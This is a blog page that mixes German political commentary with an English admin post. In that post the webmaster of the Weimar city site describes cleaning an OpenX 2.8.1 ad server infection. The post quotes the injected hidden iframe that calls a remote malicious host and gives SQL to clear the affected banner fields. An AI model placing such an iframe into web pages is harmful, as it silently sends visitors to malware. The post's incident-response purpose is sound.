Die Toten der Loveparade und die “Lehren”
02 Aug
Verdammte Kinder! Man will “Lehren” ziehen aus dem Tod von 19 Love-Parade Besuchern. Neben den Rücktrittsforderungen gegenüber dem Oberbürgermeister wird heftig gekreiselt in der Politik. Das gehört zum guten Ton.
Wenn ich von verdammten Kindern rede, dann nicht von den unglücklichen Opfern. Es sind jene, die nun von allen Seiten Konsequenzen sehen wollen: ob Demontage ungeliebter Politik-Mitstreiter oder Installation der eigenen Wichtigkeit durch “Maßnahmen” aller Art.
Maßnahmen wie “bundeseinheitlicher Sicherheitsregelungen für Großveranstaltungen”.
Da kann man sich schon fragen, ob die bisher geltenden Vorkehrungen nicht genügt haben. Die Antwort liegt allerdings in den Rücktrittsforderungen gegen den OB: Angeblich wurden Vorschriften nicht beachtet. Es gibt sie also doch!
Und was ziehen wir für Lehren? Keine Ahnung. Ich ziehe jedenfalls die: Es wird nicht nachgedacht, sondern jeder macht das, was er am besten kann. Politiker können Politik machen – diese gerinnt zu Recht. Also mehr Verordnungen und Gesetze.
Aber wer stellt DIE Frage in diesem Fall, die da lauten würde: “Wer garantiert, daß die alten-neuen Vorschriften von anderen Behörden eingehalten werden?”
I hit me cold when I saw the virus-scanner’s red message was jumping on the screen. Administering www.weimar.de it is no fun, having a virus-warning on the frontpage of an official website.
The reason was OpenX, Version 2.8.1. which I updated to 2.8.5. – which seemed too late since the database was affected. I got this code within my banner-js:
<"+"iframe src=\"http://194.8.250.211/tds/in.cgi?default\" width=\"1\" height=\"1\" hspace=\"0\" vspace=\"0\" frameborder=\"0\" scrolling=\"no\"><"+"/iframe>
Checking all php-files (no, actually most important these three:
- /var/yourdomain.conf.php
- /adjs.php
- /www/delivery/ajs.php
)
I found nothing. Check it anyway, because in some cases it’s a direct hack within those files (at the very beginning or the end).
So I checked my database , the table phpads_banners (or openx_banners) and found nothing obvious. The malicious code is hidden within the BLOB-fields (which content you can only see if enabled within myPhpAdmin) and therefore there’s one thing you can do: Set the fields:
- prepend
- append
- html_cache
- html_template
empty!
I rigourously cleared out all the sh*t by doing this simple statement:
UPDATE `my_db`.`phpads_banners` SET `append` = NULL,`prepend` = NULL,`htmltemplate` = NULL, `htmlcache` = NULL WHERE 1;
Good luck!
Laßt den Köter sterben!
22 Jun
Es ist inzwischen bei den Politikern angekommen: Der Übermacht der Banken (und nicht nur der) ist politisch nicht beizukommnen. War ihr noch nie. Der Spruch, der laissez-faire-Kapitalismus sei ein bissiger Hund, der losgelassen wurde, nimmt Konturen an: Die eines wütenden Köters, der – solange sein Herrchen ihn an der Leine hatte – folgsam und brav war. Nun läßt er sich nicht mehr an die Leine legen.
Während der Kapitalismus jahrzehntelang (seit den 70ern) durch die Welt streifte, schnüffelnd, suchend, fressend und scheißend sind die Amtsstuben unten verstaubt und oben mit opportunistischen Marionetten besetzt. Es ging jahrzehntelang gut. Der Hund ließ der Politik ein paar saftige Knochen übrig derentwegen er noch von Steuergeldern gestreichelt wurde (“Wirtschaftsstandort”). Man nannte den Köter zeitweilig “Heuschrecken” – eher die Atome, aus denen er gemacht ist. Das war in Deutschland kurzweilig ein kleiner Bewußtseinsschub: Da, wo der Kapitalismus auftaucht, hinterläßt er verbrannte Erde. Trotzdem hat sich nicht viel getan seither.
“Was immer nun in diesem Land passieren mag, die Weltöffentlichkeit wird auf der Seite der Demonstranten stehen. Auch diese Menschen haben schließlich ein Recht auf Autos aus Japan, Computer aus Indien, Erfrischungsgetränke aus Amerika, Kleidung aus China, sie haben ein Recht darauf, zum Teil der modernen Welt zu werden.”
Mooooment: Passiert in diesem Absatz nicht genau das, was auch in der realen Welt geschieht? Nämlich die Vermischung von einer politischen Ordnung und einem Wirtschaftssystem. Ein “Recht” auf Wirtschaftsgüter gibt es im wirtschaftlichen System gerade nicht: Man hat es nur, wenn man eine Gegenleistung bieten kann. Und das politische Recht ist nur ein negatives: Man kann mir nicht verbieten, Waren aus China zu kaufen. Gut so.
Aber hier liegt das Problem: Diese diffuse Verwirrung von Kapitalismus mit Demokratie. Der Kapitalismus ist “Neoliberalismus” und schmiegt sich widerwärtig an die Demokratie. Alles ist mir erlaubt, ich bin “Invididuum”. Das nimmt man gerne hin, solange man die Fesseln nicht bemerkt, die einem der wahre “Herrscher” Kapitalismus auferlegt. Solang ich mir Güter leisten kann, bin ich zerstreut genug, um nicht nachzudenken. Und genauso diffus sind die Aussichten, die einem der Kapitalismus läßt und die den homo oeconomicus ruhig halten : Vom Tellerwäscher zum Millionär – JEDER kann das werden.
Tja, ich kenne keinen, Ihr vielleicht?
Originally posted as a comment
by mellowMarco
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